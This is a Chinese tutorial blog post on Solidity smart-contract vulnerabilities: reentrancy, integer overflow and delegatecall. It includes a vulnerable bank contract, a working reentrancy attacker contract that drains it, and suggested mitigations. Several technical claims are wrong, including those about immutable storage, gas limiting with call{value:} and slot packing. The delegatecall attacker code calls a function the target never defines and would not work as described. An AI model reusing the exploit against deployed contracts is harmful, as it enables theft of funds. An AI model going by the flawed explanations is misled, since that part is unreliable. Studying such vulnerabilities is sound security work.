智能合约 -- 安全漏洞(重入攻击、算数溢出、委托调用漏铜)

Gas 是计算资源的度量单位,表示执行操作所需的计算量。每个操作都有一个对应的固定 Gas 消耗量。

Wei 是以太币的最小单位,用于衡量以太币的价值,类似于比特币中的 satoshi。

交易中执行的gas

1.我们所说的智能合约消耗的gas,实际上是在交易时,由交易方设置交易消耗gas的最大数量,以及单个gas对应的以太币价格,由交易的调用方,来支付以太币来对应的gas。

2.矿工会选择执行 gas 价格较高的交易,因为他们可以从中获得更高的手续费奖励。当矿工确认并打包交易时,他们会根据交易中设定的 gas 价格来确定每个 gas 的成本,并将这些成本以以太币的形式支付给矿工作为手续费

3.矿工将交易打包就是将数据记录再区块上,衔接到区块链网络,从而进行持久化存储,以便后续可查

immutable

关键字用于在编译时将常量值存储在合约的存储空间中,并通过在部署时初始化该值来确保其不可更改。

回调函数

但不会在声明它的合约内同步调用。相反,它会作为参数传递给其他函数(js)并在满足特定条件时由外部合约进行调用

1.重入攻击

相关概念

攻击者首先部署自己的恶意合约,并将其与目标合约进行交互。然后,攻击者通过调用目标合约的函数,在目标合约执行的过程中,恶意合约被回调(fallback 函数)并再次调用目标合约的函数。这样,攻击者可以反复调用目标合约并利用其中的漏洞,从而造成损失或者非预期行为。


1.向合约实例或外部账户发送以太币的特殊api

<address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
<address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。


2.fallback() 和recive()的使用以及区别。

// 函数声明
receive() external payable { ... }

fallback() external payable { ... }

先说一下,之前solidity版本就是fallback() ,有2个功能:

  • 1.外部调用,没有该函数签名,默认调用这个fallback()函数。2.想该合约实例发送以太币,也会被调用。
  • 后来,把接受以太币的功能,单独拆成receive()。但是fallback()仍然具有那2个功能。
  • 接受以太方面,receive() 函数比fallback()具有优先级。

3. msg.sender

PS : 合约调用者: 可以外部账户,也可以是合约实例。

这么说msg.sender获取的调用者的地址。

假如: 外部账户c 创建 a 调用b ,那么 a中的msg.sender就是c,b中msg.sender就是a。

漏洞复现

(银行合约)EherBank.sol,向恶意合约进行转钱withdraw()(起作用:msg.sender.call),由于涉及到以太币接受,恶意合约receive()函数被调用,接着withraw()又被调用,形成递归调用,从而向恶意合约继续转钱。

递归调用,递归之后代码其实在递归结束前,是原状态。(在原函数中)。

EherBank.sol

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

contract EtherBank{
    mapping(address  => uint)  public   balances; 
    event Deposit(string call);
    event Withdraw(string call);
 

    // 存钱
    function deposit()  external payable{
        balances[msg.sender] += msg.value;
        emit Deposit("bance add");      
    }

   // 取钱
    function withdraw() external payable {
       require( balances[msg.sender] > 0,"balance is not enough");
       (bool sent,)= msg.sender.call{value:balances[msg.sender]}(""); // call容易发生重入攻击
       require(sent,"faild send Ether");     
       balances[msg.sender] = 0;

       }
    

    // 查看我当前账户是否有钱
       function selectdraw() external view returns (uint){
           return balances[msg.sender];
       }

    function getBanlece() external view returns (uint){ // 拿到当前智能合约实例的以太币
       return address(this).balance;
    }


}

Attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
import "./EtherBank.sol";

//@title:攻击者
contract Attacker {
    EtherBank public immutable etherBank;
    address private owner; // 攻击者


   // 拿到合约地址,并初始化
    constructor (address etherBank1){
        etherBank = EtherBank(etherBank1);
        owner = msg.sender;
    }

    modifier onlyOwner(){ // 只保证调用者是攻击者
        require(msg.sender == owner);
        _;
    }

    // 攻击函数
    function attack() public  payable onlyOwner{
        require(msg.value >= 1 ether);
        etherBank.deposit{value:msg.value}(); // 存钱
        etherBank.withdraw();

    }

    // receive
    receive() external payable {
        if(address(etherBank).balance >= 1 ether){
            etherBank.withdraw(); // 递归调用
        }
    }
    // 拿取共计合约的余额
    function getbalances() external view returns (uint){
        return address(this).balance;
    }

}

解决

PS : 其实还可以约束gas的使用,递归每次消耗gas,默认call发送全部gas,那么你调用时,也发送2300gas,不是也能减少消耗。

  1. 取钱时,现将账户余额置0,然后再外部合约调用call()发送以太币。
  2. send() ,transfer()这2中能防重入攻击。
  3. 采用互斥锁:

互斥锁是添加一个在代码执行过程中锁定合约的状态变量以防止重 入攻击。

互锁锁EtherBank.sol修改部分:

就是,按照下面互斥锁修改器,取钱函数执行时,默认false,执行,然后locked = true,就代表锁住了,然后在执行取钱代码call()执行时,虽然receive()函数被调用,withdraw()再次被调用,但是合约实例是一样,那么locked = true,required(!locked,"function is locked")会报错。

...

bool private  locked ; // 互斥锁

    // 互斥锁修改器
    modifier muexLocked(){
        require(!locked,"function is locked");
        locked = true;
        _;
        locked = false;
    }

...

   // 取钱
    function withdraw() external payable muexLocked{
       require( balances[msg.sender] > 0,"balance is not enough");
       (bool sent,)= msg.sender.call{value:balances[msg.sender]}(""); // call容易发生重入攻击
       require(sent,"faild send Ether");     
       balances[msg.sender] = 0;

       }
...

2.算数溢出

相关概念

  • pure 函数不读取不修改合约状态,也不调用其他合约函数(也可以调用其他 pure 函数),它只是根据输入参数进行计算。
  • view 函数可以读取合约状态,包括常量和映射,但不能修改合约状态或调用其他类型的函数
  • pure 比view 限制更多,准确的来说就是不能读取函数外界东西,只能输出。

合约状态

  • 状态变量:在合约中声明的变量,如整数、布尔值、数组等。
  • 映射(Mappings):将键映射到值的数据结构,类似于字典或哈希表。

补码 这个概念是在编程语言中,具有位数限制的类型,如int二进制形式,0,1 表示正负。

 假如solidity中: int8类型,最大不是 2 的8次方 - 1  = 127(0111 1111) + 1 之后 向上进1位,= 128(1000 0000)溢出了,  按照补码,第1位符号位,1表示负数,0表示正数。 1000 0000 就是个负数,这样看 -128  --- 127不是int 8的取值范围吗?把他围成一个环,128 就是-128 。

溢出分类

contract Overfolow{
    function minAndMax() public pure returns (uint8 min,uint8 max){
        return (type(uint8).min,type(uint8).max); // 0 , 255
    }

    // 向上溢出
    function overFlow() public pure returns (uint8){
        return (type(uint8).max + 1); // 0
    }
    // 向下溢出
    function underFlow() public pure returns(uint8){
        return (type(uint8).min - 1); // 255
    }
}

下面经典溢出实例代码分析:

批量转账。

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length; // 接受人数组的长度
    uint256 amount = uint256(cnt) * _value; //计算出总转账额,溢出点,这里存在整数溢出
    require(cnt > 0 && cnt <= 20); // 数组长度检查
    require(_value > 0 && balances[msg.sender] >= amount); // 转账人,余额,转账金钱检查
 
    balances[msg.sender] = balances[msg.sender].sub(amount); // 转账人余额检查总转账额
   
// 将每个账户现有的资产 和转账额相加,封装到转账账户中。
    for (uint i = 0; i < cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }

3. 委托调用漏洞 

https://learnblockchain.cn/article/3627

 合约使用委托调用(delegatecall)时,未正确验证调用合约的函数签名,导致攻击者可以调用恶意合约并执行未授权的操作。

使用 delegatecall 后,目标合约的代码将在调用合约的上下文中执行,包括存储、合约地址等信息。

相关概念

1. ABI : 是一种 规范 和一种 传输介质 (遵循json数据结构),定义了智能合约与外部交互的接口

2. slot0:

  • 在以太坊虚拟机中,每个合约都有一个存储空间,称为存储器(storage)。存储器被组织为一系列称为“槽位”(slots)的位置。每个槽位可以存储一个256位的数值。
  • 在 Solidity 合约中,默认情况下,无论什么类型的状态变量,它们都将占据一个槽位的大小(256位)。因此,如果您在合约中声明了多个状态变量,它们将依次分配到存储器的不同槽位,其中 Slot 0 就是第一个槽位。
  • PS: 假如状态变量uint256[] ab 一个数组,那么存储的每个元素都会占据一个槽位。

3. memory:

memory 只能用于动态长度的复杂数据类型,如数组字符串等。

4call()等低级调用函数

call() 和delegatecall()其实调用,传参以及结果返回没什么区别。

address.call():   被调用合约(目标合约),会另开辟一个存储空间,不会影响当前调用合约上下文。

address.delegatecall():   目标合约和调用合约共享一个存储空间,并且目标合约可以访问和操作调用合约的状态变量。

callcode() : 用的比较少。

5. abi 等相关api

abi.encodeWithSignature() 是 Solidity 中用于将函数签名和参数编码为字节数组的函数

漏洞复现

DelegateCall.sol

在这个合约中,executeDelegateCall 函数允许调用者执行委托调用,将指定的数据传递给另一个合约 trustedContract。委托调用通过 delegatecall 函数执行,这意味着被调用合约的代码会在当前合约的上下文中(共享一个存储空间)执行。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;


contract DelegtaCall{

    // 目标合约的地址
    address private trustedContract;

    // 设置目标合约
    function   setTrustedContract  (address _trustedContract) public{
        trustedContract = _trustedContract;
    }

   // 目标合约要执行的函数
    function excuteDelegtaCall(bytes memory data) public {
        require(trustedContract != address(0),"trustedContract is not address");

        // 委托调用
        (bool success,) = trustedContract.delegatecall(data);
        require(success,"delegatecall failed");

    }
}

然而,这种实现方式存在委托调用漏洞。攻击者可以构造恶意的数据,以欺骗当前合约执行任意合约代码。攻击者可以利用这个漏洞执行任意操作,包括修改合约状态、偷取资金等。

攻击者可以通过以下方式利用委托调用漏洞进行攻击:

  1. 伪造合约:攻击者可以构造一个恶意合约,其中包含特殊的逻辑或恶意操作。然后将恶意合约的地址设置为 trustedContract,并调用 executeDelegateCall 函数来执行委托调用。这样,攻击者就可以在当前合约的上下文中执行恶意合约的代码。
  2. 冒充合约:攻击者可以使用一个恶意合约来冒充正常的合约,并将其地址设置为 trustedContract。然后,攻击者可以构造恶意数据,并通过 executeDelegateCall 函数触发委托调用。由于当前合约会在冒充合约的上下文中执行代码,攻击者可以执行恶意操作。

Attacker.sol

这个合约中,通过delegatrCall 存储目标合约的地址,攻击者通过调用attack() 函数执行攻击。在该函数中,攻击者构造了一个调用 setTrustedContract 函数的数据,并通过委托调用将该数据传递给目标合约。在这种情况下,攻击者将恶意合约的地址设置为目标合约的 trustedContract

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

import "./DelegateCall.sol";
//@title:恶意合约
contract Attacker {
    address private delegateCall; // 调用合约地址

    constructor(address _delegateCall){
        delegateCall = _delegateCall;
    }

    // 攻击函数
    function attack() public{
       bytes memory data = abi.encodeWithSignature("setTrustedContract(address)", address(this)); // 使攻击合约和目标合约的存储空间连接到一起
       (bool success,) =  delegateCall.delegatecall(data);
       require(success,"attack filed");
    }
    
    function getFun() public view returns (address){
        // 执行delegatecall()之后,就能拿到目标合约的状态变量
        return DelegateCall(delegateCall).getTrustedContract();
    }

    
}

由于委托调用会在当前合约的上下文中执行被调用合约的代码,而恶意合约具有完全控制权,攻击者可以在目标合约的上下文中执行任意操作,包括修改合约状态、偷取资金等。

猜你喜欢

转载自blog.csdn.net/Qhx20040819/article/details/131655775
今日推荐